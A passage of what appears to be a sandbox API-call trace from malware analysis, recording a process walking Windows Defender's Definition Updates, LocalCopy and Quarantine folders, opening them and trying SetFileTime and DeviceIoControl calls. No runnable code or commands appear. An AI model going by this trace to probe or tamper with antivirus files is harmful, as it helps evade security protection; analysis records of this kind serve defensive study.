lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.267] GetLastError () returned 0x12 [0092.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.267] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.268] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="")) returned 1 [0092.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.269] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.269] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.269] NtClose (Handle=0x174) returned 0x0 [0092.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.271] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1 [0092.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e040 [0092.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8ad8 [0092.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e148 [0092.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.274] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1 [0092.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8af8 [0092.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e250 [0092.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.276] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1 [0092.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0 [0092.277] GetLastError () returned 0x12 [0092.277] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.278] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.278] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.278] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1 [0092.278] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1 [0092.278] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1 [0092.278] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0 [0092.278] GetLastError () returned 0x12 [0092.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.278] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e040) returned 1 [0092.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.279] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="")) returned 0 [0092.279] GetLastError () returned 0x12 [0092.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.279] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.280] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x9b7c5130, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMpService925A3ACA-C353-458A-AC8D-A7E5EB378092.lock", cAlternateFileName="")) returned 1 [0092.280] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="")) returned 1 [0092.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.280] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.281] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.281] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.281] NtClose (Handle=0x15c) returned 0x0 [0092.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.282] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.283] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.283] GetLastError () returned 0x12 [0092.283] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.283] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.283] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.283] GetLastError () returned 0x12 [0092.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.283] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.284] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="")) returned 1 [0092.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.284] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.285] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.285] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.285] NtClose (Handle=0x184) returned 0x0 [0092.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.286] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.287] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.287] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.287] GetLastError () returned 0x12 [0092.287] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.287] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.287] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.287] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.287] GetLastError () returned 0x12 [0092.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.287] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.288] RtlFreeHeap 